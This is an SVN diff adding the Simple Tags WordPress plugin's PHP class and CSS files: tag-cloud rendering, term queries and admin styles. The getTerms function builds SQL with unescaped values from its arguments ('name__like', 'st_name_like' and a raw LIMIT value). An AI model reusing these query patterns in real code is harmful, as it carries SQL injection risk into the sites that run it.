+			'notagstext' => __('No tags.', 'simpletags'),
+			'xformat' => __('<a href="%tag_link%" id="tag-link-%tag_id%" class="st-tags t%tag_scale%" title="%tag_count% topics" %tag_rel% style="%tag_size% %tag_color%">%tag_name%</a>', 'simpletags'),
+			'title' => __('<h4>Tag Cloud</h4>', 'simpletags'),
+			'category' => 0
+		);
+
+		// Get values in DB
+		$defaults['no_follow'] = $this->options['no_follow'];
+		$defaults['cloud_selection'] = $this->options['cloud_selection'];
+		$defaults['cloud_sort'] = $this->options['cloud_sort'];
+		$defaults['number'] = $this->options['cloud_limit_qty'];
+		$defaults['notagstext'] = $this->options['cloud_notagstext'];
+		$defaults['title'] = $this->options['cloud_title'];
+		$defaults['maxcolor'] = $this->options['cloud_max_color'];
+		$defaults['mincolor'] = $this->options['cloud_min_color'];
+		$defaults['largest'] = $this->options['cloud_max_size'];
+		$defaults['smallest'] = $this->options['cloud_min_size'];
+		$defaults['unit'] = $this->options['cloud_unit'];
+		$defaults['xformat'] = $this->options['cloud_xformat'];		
+		$defaults['format'] = $this->options['cloud_format'];
+		$defaults['inc_cats'] = $this->options['cloud_inc_cats'];		
+		
+		if ( empty($args) ) {				
+			$args = $this->options['cloud_adv_usage'];
+		}
+		$args = wp_parse_args( $args, $defaults );
+
+		// Get categories ?
+		$inc_cats = (int) $args['inc_cats'];
+		$taxonomy = ( $inc_cats == 0 ) ? 'post_tag' : array('post_tag', 'category');
+
+		// Get terms
+		$terms = $this->getTags( $args, $this->use_cache, $taxonomy );
+		extract($args); // Params to variables
+
+		if ( empty($terms) ) {
+			return $this->outputContent( 'st-tag-cloud', $format, $title, $notagstext, $copyright );
+		}
+
+		$counts = $term_links = $term_ids = $taxonomies = array();
+		foreach ( (array) $terms as $term ) {
+			$counts[$term->name] = $term->count;
+			if ( $term->taxonomy == 'post_tag' ) { // Tag
+				$term_links[$term->name] = get_tag_link( $term->term_id );
+			} else { // Category
+				$term_links[$term->name] = get_category_link( $term->term_id );
+			}
+			$term_ids[$term->name] = $term->term_id;
+			$taxonomies[$term->name] = $term->taxonomy;
+		}
+
+		// Use full RBG code
+		if ( strlen($maxcolor) == 4 ) {
+			$maxcolor = $maxcolor . substr($maxcolor, 1, strlen($maxcolor));
+		}
+		if ( strlen($mincolor) == 4 ) {
+			$mincolor = $mincolor . substr($mincolor, 1, strlen($mincolor));
+		}
+
+		// Check as smallest inferior or egal to largest
+		if ( $smallest > $largest ) {
+			$smallest = $largest;
+		}
+
+		// Scaling - Hard value for the moment
+		$scale_min = 1;
+		$scale_max = 10;
+
+		$minval = min($counts);
+		$maxval = max($counts);;
+
+		$minout = max($scale_min, 0);
+		$maxout = max($scale_max, $minout);
+
+		$scale = ($maxval > $minval) ? (($maxout - $minout) / ($maxval - $minval)) : 0;
+
+		// HTML Rel (tag/no-follow)
+		$rel = '';
+		
+		global $wp_rewrite; 
+		$rel .= ( is_object($wp_rewrite) && $wp_rewrite->using_permalinks() ) ? 'tag' : ''; // Tag ?
+		
+		$no_follow = (int) $no_follow;
+		if ( $no_follow == 1 ) { // No follow ?
+			$rel .= ( empty($rel) ) ? 'nofollow' : ' nofollow';	
+		}
+		
+		if ( !empty($rel) ) {
+			$rel = 'rel="' . $rel . '"'; // Add HTML Tag
+		}
+
+		// If empty use default xformat !
+		if ( empty($xformat) ) {
+			$xformat = $defaults['xformat'];
+		}
+
+		// Remove color marquer if color = false
+		if ( $color == 'false' ) {
+			$xformat = str_replace('%tag_color%', '', $xformat);
+		}
+
+		// Remove size marquer if size = false
+		if ( $size == 'false' ) {
+			$xformat = str_replace('%tag_size%', '', $xformat);
+		}
+
+		// Order terms before output
+		// count-asc/count-desc/name-asc/name-desc/random
+		$cloud_sort = strtolower($cloud_sort);
+		switch ( $cloud_sort ) {
+			case 'count-asc':
+				asort($counts);
+				break;
+			case 'count-desc':
+				arsort($counts);
+				break;
+			case 'name-asc':
+				uksort($counts, array( &$this, 'uksortByName'));
+				break;
+			case 'name-desc':
+				uksort($counts, array( &$this, 'uksortByName'));
+				array_reverse($counts);
+				break;
+			default: // random
+				$counts = $this->randomArray($counts);
+				break;
+		}
+
+		$output = array();
+		foreach ( (array) $counts as $term => $count ) {
+			$scale_result = (int) (($count - $minval) * $scale + $minout);
+
+			$element_loop = $xformat;
+
+			$element_loop = str_replace('%tag_link%', clean_url($term_links[$term]), $element_loop);
+			if ( $taxonomies[$term] == 'post_tag' ) { // Tag post
+				$element_loop = str_replace('%tag_feed%', clean_url(get_tag_feed_link($term_ids[$term])), $element_loop);
+			} else { // Category
+				$element_loop = str_replace('%tag_feed%', clean_url(get_category_rss_link(false, $term_ids[$term], '')), $element_loop);				
+			}			
+			$element_loop = str_replace('%tag_id%', $term_ids[$term], $element_loop);
+			$element_loop = str_replace('%tag_count%', $count, $element_loop);
+			$element_loop = str_replace('%tag_size%', 'font-size:'.round(($scale_result - $scale_min)*($largest-$smallest)/($scale_max - $scale_min) + $smallest, 2).$unit.';', $element_loop);
+			$element_loop = str_replace('%tag_color%', 'color:'.$this->getColorByScale(round(($scale_result - $scale_min)*(100)/($scale_max - $scale_min), 2),$mincolor,$maxcolor).';', $element_loop);
+			$element_loop = str_replace('%tag_name%', wp_specialchars( $term ), $element_loop);
+			$element_loop = str_replace('%tag_name_attribute%', wp_specialchars(strip_tags($term)), $element_loop);			
+			$element_loop = str_replace('%tag_rel%', $rel, $element_loop);
+			$element_loop = str_replace('%tag_scale%', $scale_result, $element_loop);
+			$element_loop = str_replace('%tag_technorati%', $this->formatLink( 'technorati', $term ), $element_loop);
+			$element_loop = str_replace('%tag_flickr%', $this->formatLink( 'flickr', $term ), $element_loop);
+			$element_loop = str_replace('%tag_delicious%', $this->formatLink( 'delicious', $term ), $element_loop);
+
+			$output[] = $element_loop;
+		}
+		unset($counts, $term_links, $term_ids, $taxonomies, $element_loop);
+		return $this->outputContent( 'st-tag-cloud', $format, $title, $output, $copyright );
+	}
+
+	/**
+	 * Randomize an array and keep association
+	 *
+	 * @param array $data
+	 * @return array
+	 */
+	function randomArray( $data_in = array() ) {
+		if ( empty($data_in) ) {
+			return $data_in;
+		}
+		
+		srand( (float) microtime() * 1000000 ); // For PHP < 4.2
+		$rand_keys = array_rand($data_in, count($data_in));
+
+		foreach( (array) $rand_keys as $key ) {
+			$data_out[$key] = $data_in[$key];
+		}
+
+		return $data_out;
+	}
+
+	/**
+	 * Format nice URL depending service
+	 *
+	 * @param string $type
+	 * @param string $tag_name
+	 * @return string
+	 */
+	function formatLink( $type = '', $term_name = '' ) {
+		if ( empty($term_name) ) {
+			return '';
+		}
+		
+		$term_name = wp_specialchars($term_name);
+		switch ( $type ) {
+			case 'technorati':
+				$link = clean_url('http://technorati.com/tag/'.str_replace(' ', '+', $term_name));
+				return '<a class="tag_technorati" href="'.$link.'" rel="tag">'.$term_name.'</a>';
+				break;
+			case 'flickr':
+				$link = clean_url('http://www.flickr.com/photos/tags/'.preg_replace('/[^a-zA-Z0-9]/', '', strtolower($term_name)).'/');
+				return '<a class="tag_flickr" href="'.$link.'" rel="tag">'.$term_name.'</a>';
+				break;
+			case 'delicious':
+				$link = clean_url('http://del.icio.us/popular/'.strtolower(str_replace(' ', '', $term_name)));
+				return '<a class="tag_delicious" href="'.$link.'" rel="tag">'.$term_name.'</a>';
+				break;
+		}
+		return '';
+	}
+
+	/**
+	 * Generate current post tags
+	 *
+	 * @param string $args
+	 * @return string
+	 */
+	function extendedPostTags( $args = '', $copyright = true ) {
+		$defaults = array(
+			'before' => __('Tags: ', 'simpletags'),
+			'separator' => ', ',
+			'after' => '<br />',
+			'post_id' => 0,
+			'no_follow' => 0,
+			'inc_cats' => 0,
+			'xformat' => __('<a href="%tag_link%" title="%tag_name%" %tag_rel%>%tag_name%</a>', 'simpletags'),
+			'notagtext' => __('No tag for this post.', 'simpletags'),
+			'number' => 0
+		);
+
+		// Get values in DB
+		$defaults['no_follow'] = $this->options['no_follow'];
+		$defaults['before'] = $this->options['tt_before'];
+		$defaults['separator'] = $this->options['tt_separator'];
+		$defaults['after'] = $this->options['tt_after'];
+		$defaults['notagtext'] = $this->options['tt_notagstext'];
+		$defaults['number'] = $this->options['tt_number'];
+		$defaults['inc_cats'] = $this->options['tt_inc_cats'];		
+		$defaults['xformat'] = $this->options['tt_xformat'];
+		
+		if ( empty($args) ) {
+			$args = $this->options['tt_adv_usage'];
+		}
+
+		$args = wp_parse_args( $args, $defaults );
+		extract($args);
+
+		// Choose post ID
+		$post_id = (int) $post_id;
+		if ( $post_id != 0 ) {
+			$id = (int) $post_id;
+		} else {
+			global $post;
+			$id = (int) $post->ID;
+		}
+		
+		// Get categories ?
+		$inc_cats = (int) $args['inc_cats'];
+		$taxonomy = ( $inc_cats == 0 ) ? 'post_tag' : array('post_tag', 'category');
+	
+		// Get terms	
+		$terms = apply_filters( 'get_the_tags', wp_get_object_terms($id, $taxonomy) );
+
+		// If no terms, return text nothing.
+		if ( empty($terms) ) {
+			return $notagtext;
+		}
+
+		// Limit to max quantity if set
+		$number = (int) $number;
+		if ( $number != 0 ) {
+			$terms = $this->randomArray($terms); // Randomize terms
+			$terms = array_slice( $terms, 0, $number );
+		}
+
+		// If empty use default xformat !
+		if ( empty($xformat) ) {
+			$xformat = $defaults['xformat'];
+		}
+
+		// HTML Rel (tag/no-follow)
+		$rel = '';
+		
+		global $wp_rewrite; 
+		$rel .= ( is_object($wp_rewrite) && $wp_rewrite->using_permalinks() ) ? 'tag' : ''; // Tag ?
+		
+		$no_follow = (int) $no_follow;
+		if ( $no_follow == 1 ) { // No follow ?
+			$rel .= ( empty($rel) ) ? 'nofollow' : ' nofollow';	
+		}
+		
+		if ( !empty($rel) ) {
+			$rel = 'rel="' . $rel . '"'; // Add HTML Tag
+		}
+		
+		foreach ( (array) $terms as $term ) {
+			$element_loop = $xformat;
+			if ( $term->taxonomy == 'post_tag' ) { // Tag
+				$element_loop = str_replace('%tag_link%', clean_url(get_tag_link($term->term_id)), $element_loop);
+				$element_loop = str_replace('%tag_feed%', clean_url(get_tag_feed_link($term->term_id)), $element_loop);
+			} else { // Category
+				$element_loop = str_replace('%tag_link%', clean_url(get_category_link($term->term_id)), $element_loop);
+				$element_loop = str_replace('%tag_feed%', clean_url(get_category_rss_link(false, $term->term_id, '')), $element_loop);
+			}
+			$element_loop = str_replace('%tag_id%', $term->term_id, $element_loop);
+			$element_loop = str_replace('%tag_name%', wp_specialchars($term->name), $element_loop);
+			$element_loop = str_replace('%tag_rel%', $rel, $element_loop);
+			$element_loop = str_replace('%tag_count%', $term->count, $element_loop);
+
+			$element_loop = str_replace('%tag_technorati%', $this->formatLink( 'technorati', $term->name ), $element_loop);
+			$element_loop = str_replace('%tag_flickr%', $this->formatLink( 'flickr', $term->name ), $element_loop);
+			$element_loop = str_replace('%tag_delicious%', $this->formatLink( 'delicious', $term->name ), $element_loop);
+
+			$output[] = $element_loop;
+		}
+		unset($terms, $term, $element_loop);
+		$output = apply_filters( 'the_tags', implode($separator, $output) );
+
+		if ( $copyright === true )
+			return "\n\t" . '<!-- Generated by Simple Tags ' . $this->version . ' - http://wordpress.org/extend/plugins/simple-tags -->' ."\n\t". $before . $output . $after ."\n";
+		else
+			return "\n\t". $before . $output . $after ."\n";
+	}
+
+	/**
+	 * Delete embedded tags
+	 *
+	 * @param string $content
+	 * @return string
+	 */
+	function filterEmbedTags( $content ) {
+		$tag_start = $this->options['start_embed_tags'];
+		$tag_end = $this->options['end_embed_tags'];
+		$len_tagend = strlen($tag_end);
+
+		while ( strpos($content, $tag_start) != false && strpos($content, $tag_end) != false ) {
+			$pos1 = strpos($content, $tag_start);
+			$pos2 = strpos($content, $tag_end);
+			$content = str_replace(substr($content, $pos1, ($pos2 - $pos1 + $len_tagend)), '', $content);
+		}
+		return $content;
+	}
+
+	/**
+	 * This is pretty filthy. Doing math in hex is much too weird. It's more likely to work, this way!
+	 * Provided from UTW. Thanks.
+	 *
+	 * @param integer $scale_color
+	 * @param string $min_color
+	 * @param string $max_color
+	 * @return string
+	 */
+	function getColorByScale($scale_color, $min_color, $max_color) {
+		$scale_color = $scale_color / 100;
+
+		$minr = hexdec(substr($min_color, 1, 2));
+		$ming = hexdec(substr($min_color, 3, 2));
+		$minb = hexdec(substr($min_color, 5, 2));
+
+		$maxr = hexdec(substr($max_color, 1, 2));
+		$maxg = hexdec(substr($max_color, 3, 2));
+		$maxb = hexdec(substr($max_color, 5, 2));
+
+		$r = dechex(intval((($maxr - $minr) * $scale_color) + $minr));
+		$g = dechex(intval((($maxg - $ming) * $scale_color) + $ming));
+		$b = dechex(intval((($maxb - $minb) * $scale_color) + $minb));
+
+		if (strlen($r) == 1) $r = '0'.$r;
+		if (strlen($g) == 1) $g = '0'.$g;
+		if (strlen($b) == 1) $b = '0'.$b;
+
+		return '#'.$r.$g.$b;
+	}
+
+	/**
+	 * Add page in tag search
+	 *
+	 * @param string $where
+	 * @return string
+	 */
+	function prepareQuery( $where ) {
+		if ( is_tag() ) {
+			$where = str_replace('post_type = \'post\'', 'post_type IN(\'page\', \'post\')', $where);
+		}
+		return $where;
+	}
+
+	/**
+	 * Reset to default options
+	 *
+	 */
+	function resetToDefaultOptions() {
+		update_option($this->db_options, $this->default_options);
+		$this->options = $this->default_options;
+	}
+
+	/**
+	 * Update taxonomy counter for post AND page
+	 *
+	 * @param array $terms
+	 */
+	function _update_post_and_page_term_count( $terms ) {
+		global $wpdb;
+		foreach ( (array) $terms as $term ) {
+			$count = $wpdb->get_var("SELECT COUNT(*) FROM $wpdb->term_relationships, $wpdb->posts WHERE $wpdb->posts.ID = $wpdb->term_relationships.object_id AND post_status = 'publish' AND post_type IN ('page', 'post') AND term_taxonomy_id = '$term'");
+			$wpdb->query("UPDATE $wpdb->term_taxonomy SET count = '$count' WHERE term_taxonomy_id = '$term'");
+		}
+	}
+
+	/**
+	 * Extended get_tags function that use getTerms function
+	 *
+	 * @param string $args
+	 * @return array
+	 */
+	function getTags( $args = '', $skip_cache = false, $taxonomy = 'post_tag' ) {
+		$key = md5(serialize($args));
+
+		if ( $skip_cache == true ) {
+			$terms = $this->getTerms( $taxonomy, $args, $skip_cache );
+		} else {
+			// Get cache if exist
+			if ( $cache = wp_cache_get( 'st_get_tags', 'simpletags' ) ) {
+				if ( isset( $cache[$key] ) ) {
+					return apply_filters('get_tags', $cache[$key], $args);
+				}
+			}
+
+			// Get tags
+			$terms = $this->getTerms( $taxonomy, $args, $skip_cache );
+
+			if ( empty($terms) ) {
+				return array();
+			}
+
+			$cache[$key] = $terms;
+			wp_cache_set( 'st_get_tags', $cache, 'simpletags' );
+		}
+
+		$terms = apply_filters('get_tags', $terms, $args);
+		return $terms;
+	}
+
+	/**
+	 * Extended get_terms function support
+	 *  - Limit category
+	 *  - Limit days
+	 *  - Selection restrict
+	 *  - Min usage
+	 *
+	 * @param string|array $taxonomies
+	 * @param string $args
+	 * @return array
+	 */
+	function getTerms( $taxonomies, $args = '', $skip_cache = false ) {
+		global $wpdb;
+
+		$single_taxonomy = false;
+		if ( !is_array($taxonomies) ) {
+			$single_taxonomy = true;
+			$taxonomies = array($taxonomies);
+		}
+
+		foreach ( (array) $taxonomies as $taxonomy ) {
+			if ( !is_taxonomy($taxonomy) ) {
+				return new WP_Error('invalid_taxonomy', __('Invalid Taxonomy'));
+			}
+		}
+
+		$in_taxonomies = "'" . implode("', '", $taxonomies) . "'";
+
+		$defaults = array(
+			'cloud_selection' => 'count-desc',
+			'hide_empty' => true,
+			'exclude' => '',
+			'include' => '',
+			'number' => '',
+			'fields' => 'all',
+			'slug' => '',
+			'parent' => '',
+			'hierarchical' => true,
+			'child_of' => 0,
+			'get' => '',
+			'name__like' => '',
+			'st_name_like' => '',
+			'pad_counts' => false,
+			'limit_days' => 0,
+			'category' => 0,
+			'min_usage' => 0
+		);
+
+		$args = wp_parse_args( $args, $defaults );
+
+		if ( !$single_taxonomy || !is_taxonomy_hierarchical($taxonomies[0]) || '' != $args['parent'] ) {
+			$args['child_of'] = 0;
+			$args['hierarchical'] = false;
+			$args['pad_counts'] = false;
+		}
+
+		if ( 'all' == $args['get'] ) {
+			$args['child_of'] = 0;
+			$args['hide_empty'] = 0;
+			$args['hierarchical'] = false;
+			$args['pad_counts'] = false;
+		}
+		extract($args, EXTR_SKIP);
+
+		if ( $child_of ) {
+			$hierarchy = _get_term_hierarchy($taxonomies[0]);
+			if ( !isset($hierarchy[$child_of]) ) {
+				return array();
+			}
+		}
+
+		if ( $parent ) {
+			$hierarchy = _get_term_hierarchy($taxonomies[0]);
+			if ( !isset($hierarchy[$parent]) ) {
+				return array();
+			}
+		}
+
+		if ( $skip_cache != true ) {
+			// Get cache if exist
+			$key = md5( serialize( $args ) . serialize( $taxonomies ) );
+			if ( $cache = wp_cache_get( 'get_terms', 'terms' ) ) {
+				if ( isset( $cache[$key] ) ) {
+					return apply_filters('get_terms', $cache[$key], $taxonomies, $args);
+				}
+			}
+		}
+
+		// Restrict category
+		$category_sql = '';
+		if ( !empty($category) && $category != '0' ) {
+			$incategories = preg_split('/[\s,]+/', $category);
+
+			$objects_id = get_objects_in_term( $incategories, 'category' );
+			$objects_id = array_unique ($objects_id); // to be sure haven't duplicates
+
+			if ( empty($objects_id) ) { // No posts for this category = no tags for this category
+				return array();
+			}
+
+			foreach ( (array) $objects_id as $object_id ) {
+				$category_sql .= "'". $object_id . "', ";
+			}
+
+			$category_sql = substr($category_sql, 0, strlen($category_sql) - 2); // Remove latest ", "
+			$category_sql = 'AND p.ID IN ('.$category_sql.')';
+		}
+
+		// count-asc/count-desc/name-asc/name-desc/random
+		$cloud_selection = strtolower($cloud_selection);
+		switch ( $cloud_selection ) {
+			case 'count-asc':
+				$order_by = 'tt.count ASC';
+				break;
+			case 'random':
+				$order_by = 'RAND()';
+				break;
+			case 'name-asc':
+				$order_by = 't.name ASC';
+				break;
+			case 'name-desc':
+				$order_by = 't.name DESC';
+				break;
+			default: // count-desc
+				$order_by = 'tt.count DESC';
+				break;
+		}
+
+		// Min usage
+		$restict_usage = '';
+		$min_usage = (int) $min_usage;
+		if ( $min_usage != 0 ) {
+			$restict_usage = ' AND tt.count >= '. $min_usage;
+		}
+
+		$where = '';
+		$inclusions = '';
+		if ( !empty($include) ) {
+			$exclude = '';
+			$interms = preg_split('/[\s,]+/',$include);
+			foreach ( (array) $interms as $interm ) {
+				if (empty($inclusions)) {
+					$inclusions = ' AND ( t.term_id = ' . intval($interm) . ' ';
+				} else {
+					$inclusions .= ' OR t.term_id = ' . intval($interm) . ' ';
+				}
+			}
+		}
+
+		if ( !empty($inclusions) ) {
+			$inclusions .= ')';
+		}
+		$where .= $inclusions;
+
+		$exclusions = '';
+		if ( !empty($exclude) ) {
+			$exterms = preg_split('/[\s,]+/',$exclude);
+			foreach ( (array) $exterms as $exterm ) {
+				if (empty($exclusions)) {
+					$exclusions = ' AND ( t.term_id <> ' . intval($exterm) . ' ';
+				} else {
+					$exclusions .= ' AND t.term_id <> ' . intval($exterm) . ' ';
+				}
+			}
+		}
+
+		if ( !empty($exclusions) ) {
+			$exclusions .= ')';
+		}
+		$exclusions = apply_filters('list_terms_exclusions', $exclusions, $args );
+		$where .= $exclusions;
+
+		if ( !empty($slug) ) {
+			$slug = sanitize_title($slug);
+			$where .= " AND t.slug = '$slug'";
+		}
+
+		if ( !empty($name__like) ) {
+			$where .= " AND t.name LIKE '{$name__like}%'";
+		}
+
+		if ( strpos($st_name_like, ' ') != false || strpos($st_name_like, ' ') != null ) {
+			$tmp = '';
+			$sts = explode(' ', $st_name_like);
+			foreach ( (array) $sts as $st ) {
+				if ( empty($st) )
+					continue;
+					
+				$st = addslashes_gpc($st);
+				$tmp .= " t.name LIKE '%{$st}%' OR ";
+			}
+			// Remove latest OR
+			$tmp = substr( $tmp, 0, strlen($tmp) - 4);
+
+			$where .= " AND ( $tmp ) ";
+			unset($tmp)	;
+		} elseif ( !empty($st_name_like) ) {
+			$where .= " AND t.name LIKE '%{$st_name_like}%'";
+		}
+
+		if ( '' != $parent ) {
+			$parent = (int) $parent;
+			$where .= " AND tt.parent = '$parent'";
+		}
+
+		if ( $hide_empty && !$hierarchical ) {
+			$where .= ' AND tt.count > 0';
+		}
+
+		$number_sql = '';
+		if ( strpos($number, ',') != false || strpos($number, ',') != null ) {
+			$number_sql = $number;
+		} else {
+			$number = (int) $number;
+			if ( $number != 0 ) {
+				$number_sql = 'LIMIT ' . $number;
+			}
+		}
+
+		if ( 'all' == $fields ) {
+			$select_this = 't.*, tt.*';
+		} else if ( 'ids' == $fields ) {
+			$select_this = 't.term_id';
+		} else if ( 'names' == $fields ) {
+			$select_this = 't.name';
+		}
+
+		// Limit posts date
+		$limitdays_sql = '';
+		$limit_days = (int) $limit_days;
+		if ( $limit_days != 0 ) {
+			$limitdays_sql = 'AND p.post_date_gmt > "' .date( 'Y-m-d H:i:s', time() - $limit_days * 86400 ). '"';
+		}
+
+		$query = "SELECT {$select_this}
+			FROM {$wpdb->terms} AS t
+			INNER JOIN {$wpdb->term_taxonomy} AS tt ON t.term_id = tt.term_id
+			INNER JOIN {$wpdb->term_relationships} AS tr ON tt.term_taxonomy_id = tr.term_taxonomy_id
+			INNER JOIN {$wpdb->posts} AS p ON tr.object_id = p.ID
+			WHERE tt.taxonomy IN ( {$in_taxonomies} )
+			AND p.post_date_gmt < '".current_time('mysql')."'
+			{$limitdays_sql}
+			{$category_sql}
+			{$where}
+			{$restict_usage}
+			GROUP BY t.term_id
+			ORDER BY {$order_by}
+			{$number_sql}";
+
+		if ( 'all' == $fields ) {
+			$terms = $wpdb->get_results($query);
+			if ( $skip_cache != true ) {
+				update_term_cache($terms);
+			}
+		} elseif ( 'ids' == $fields ) {
+			$terms = $wpdb->get_col($query);
+		}
+
+		if ( empty($terms) ) {
+			return array();
+		}
+
+		if ( $child_of || $hierarchical ) {
+			$children = _get_term_hierarchy($taxonomies[0]);
+			if ( ! empty($children) ) {
+				$terms = & _get_term_children($child_of, $terms, $taxonomies[0]);
+			}
+		}
+
+		// Update term counts to include children.
+		if ( $pad_counts ) {
+			_pad_term_counts($terms, $taxonomies[0]);
+		}
+
+		// Make sure we show empty categories that have children.
+		if ( $hierarchical && $hide_empty ) {
+			foreach ( (array) $terms as $k => $term ) {
+				if ( ! $term->count ) {
+					$children = _get_term_children($term->term_id, $terms, $taxonomies[0]);
+					foreach ( (array) $children as $child ) {
+						if ( $child->count ) {
+							continue 2;
+						}
+					}
+
+					// It really is empty
+					unset($terms[$k]);
+				}
+			}
+		}
+		reset($terms);
+
+		if ( $skip_cache != true ) {
+			$cache[$key] = $terms;
+			wp_cache_set( 'get_terms', $cache, 'terms' );
+		}
+
+		$terms = apply_filters('get_terms', $terms, $taxonomies, $args);
+		return $terms;
+	}
+	
+	function outputContent( $html_class= '', $format = 'list', $title = '', $content = '', $copyright = true ) {
+		if ( empty($content) ) {
+			return ''; // return nothing
+		}
+
+		if ( is_array($content) ) {
+			switch ( $format ) {
+				case 'array' :
+					$output =& $content;
+					break;
+				case 'list' :
+					$output = "<ul class='{$html_class}'>\n\t<li>";
+					$output .= join("</li>\n\t<li>", $content);
+					$output .= "</li>\n</ul>\n";
+					break;
+				default :
+					$output = "<div class='{$html_class}'>\n\t";
+					$output .= join("\n", $content);
+					$output .= "</div>\n";
+					break;
+			}
+		} else {
+			$content = trim($content);
+			switch ( $format ) {
+				case 'list' :
+					$output = "<ul class='{$html_class}'>\n\t";
+					$output .= '<li>'.$content."</li>\n\t";
+					$output .= "</ul>\n";
+					break;
+				default :
+					$output = "<div class='{$html_class}'>\n\t";
+					$output .= $content;
+					$output .= "</div>\n";
+					break;
+			}
+		}
+		
+
+		// Replace false by empty
+		$title = trim($title);
+		if ( strtolower($title) == 'false' ) {
+			$title = '';
+		}
+
+		// Put title if exist
+		if ( !empty($title) ) {
+			$title .= "\n\t";
+		}
+
+		if ( $copyright === true )
+			return "\n" . '<!-- Generated by Simple Tags ' . $this->version . ' - http://wordpress.org/extend/plugins/simple-tags -->' ."\n\t". $title . $output. "\n";
+		else
+			return "\n\t". $title . $output. "\n";
+	}
+	
+	/**
+	 * Test if local installation is mu-plugin or a classic plugin
+	 *
+	 * @return boolean
+	 */
+	function isMuPlugin() {
+		if ( strpos(dirname(__FILE__), 'mu-plugins') ) {
+			return true;
+		}
+		return false;
+	}
+}
+
+// Init ST
+global $simple_tags;
+function st_init() {
+	global $simple_tags;
+	$simple_tags = new SimpleTags();
+
+	// Old method for is_admin function (fix for WP 2.3.2 and sup !)
+	if ( !function_exists('is_admin_old') ) {
+		function is_admin_old() {
+			return (stripos($_SERVER['REQUEST_URI'], 'wp-admin/') !== false);
+		}
+	}
+
+	// Admin and XML-RPC
+	if ( is_admin() || is_admin_old() || ( defined('XMLRPC_REQUEST') && XMLRPC_REQUEST ) ) {
+		require(dirname(__FILE__).'/inc/simple-tags.admin.php');
+		$simple_tags_admin = new SimpleTagsAdmin( $simple_tags->default_options, $simple_tags->version, $simple_tags->info );
+		
+		// Installation
+		register_activation_hook(__FILE__, array(&$simple_tags_admin, 'installSimpleTags') );
+	}
+
+	// Templates functions
+	require(dirname(__FILE__).'/inc/simple-tags.functions.php');
+
+	// Widgets
+	require(dirname(__FILE__).'/inc/simple-tags.widgets.php');
+}
+add_action('plugins_loaded', 'st_init');
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.5/inc/css/bcomplete-rtl.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.5/inc/css/bcomplete-rtl.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.5/inc/css/bcomplete-rtl.css	(revision 44)
@@ -0,0 +1,1 @@
+.bcomplete-popup{text-align:right;}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.5/inc/css/bcomplete.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.5/inc/css/bcomplete.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.5/inc/css/bcomplete.css	(revision 44)
@@ -0,0 +1,7 @@
+.bcomplete-popup{position:absolute;border:1px solid #000;background:#E4F2FD;text-align:left;}
+.bcomplete-popup .item{font-family:tahoma, verdana, sans-serif;font-size:11px;cursor:default;padding:3px 8px;}
+.bcomplete-popup .selected{background:#D54E21;color:#fff;}
+.bcomplete-popup .down-button{background-image:url(../images/down-arrow.gif);border-top:1px solid #6e6e6e;}
+.bcomplete-popup .up-button{background-image:url(../images/up-arrow.gif);border-bottom:1px solid #6e6e6e;}
+.bcomplete-popup .up-button,.bcomplete-popup .down-button{height:14px;overflow:hidden;background-color:#464646;background-repeat:no-repeat;background-position:50% 4px;}
+.bcomplete-popup .disabled{background-position:50% -60px;}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.5/inc/css/simple-tags.admin.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.5/inc/css/simple-tags.admin.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.5/inc/css/simple-tags.admin.css	(revision 44)
@@ -0,0 +1,71 @@
+﻿/* Footer admin */
+.footer_st{text-align:center;font-size:.8em;}
+
+/* Options - Menu */
+.st_wrap .st_submenu{background:#464646;border-bottom:none;margin:0 0 3px;padding:3px 1em 0 1em;}
+.st_wrap .st_submenu li{height:25px;display:inline;line-height:200%;list-style:none;text-align:center;white-space:nowrap;}
+.st_wrap .st_submenu li a{border:none;color:#fff;font-size:12px;padding:.3em .4em .4em;text-decoration:none;}
+.st_wrap .st_submenu li a:hover{background:#D54E21;color:#fff;}
+.st_wrap .st_submenu li.tabs-selected {font-weight:700;background:#E4F2FD;color:#464646;padding:.3em 0 .4em;}
+.st_wrap .st_submenu li.tabs-selected a{color:#464646;}
+.st_wrap .st_submenu li.tabs-selected a:hover{background:#D54E21;color:#fff;}
+.st_wrap .tabs-hide{display:none;}
+@media projection, screen{.tabs-hide {display:none;}}
+@media print{.tabs-nav {display:none;}}
+
+/* Options Table */
+.st_wrap fieldset.options legend{display:none;}
+.st_wrap fieldset.options {border:0;}
+.st_wrap .form-table th {width:200px;}
+.st_wrap .stpexplan{font-size:0.9em;}
+.st_wrap .stpexplan ul{list-style:square;margin:0 0 0 20px;padding:0;}
+.st_wrap .stpexplan ul li {margin:0;padding:0;}
+
+/* Options - Input Color */
+.box_color{display:block;width:20px;height:20px;border:1px solid #ccc;}
+
+/* Manage tags */
+.st_wrap .auto_list{width:98%;margin:3px 0;padding:3px 5px;}
+.st_wrap .list_tags {width:240px;vertical-align:top;}
+.st_wrap .forms_manage {vertical-align:top;}
+.st_wrap .forms_manage h3 {margin-bottom:5px;}
+.st_wrap .forms_manage .form-table {margin-top:0;}
+.st_wrap .sort_order h3 {margin:0;}
+.st_wrap #ajax_area_tagslist {}
+.st_wrap #ajax_area_tagslist ul{list-style:square;margin:10px 0 10px 20px;padding:0;}
+.st_wrap #ajax_area_tagslist ul li{margin:0;padding:0;line-height:1.4;}
+.st_wrap #ajax_area_tagslist ul li span{cursor:pointer;}
+
+.form-table 
+
+/* Auto tags */
+.st_wrap .auto_list{width:98%;margin:3px 0;padding:3px 5px;}
+
+/* Mass Edit Tags */
+.st_wrap input.tags_input {margin:3px 0 8px;width:90%;padding:3px 10px;}
+
+/* Suggested Click Tags */
+a#clicktags, a#close_clicktags {font-weight:700;color:red;border:0;text-decoration:none;}
+a#close_clicktags{display:none;}
+
+/* Ajax Click Tags */
+#st_click_tags { padding:6px; border:3px dashed #D1E6EF; margin:3px 0 0; display:none;max-height:300px;overflow:auto; }
+
+/* Click Tags */
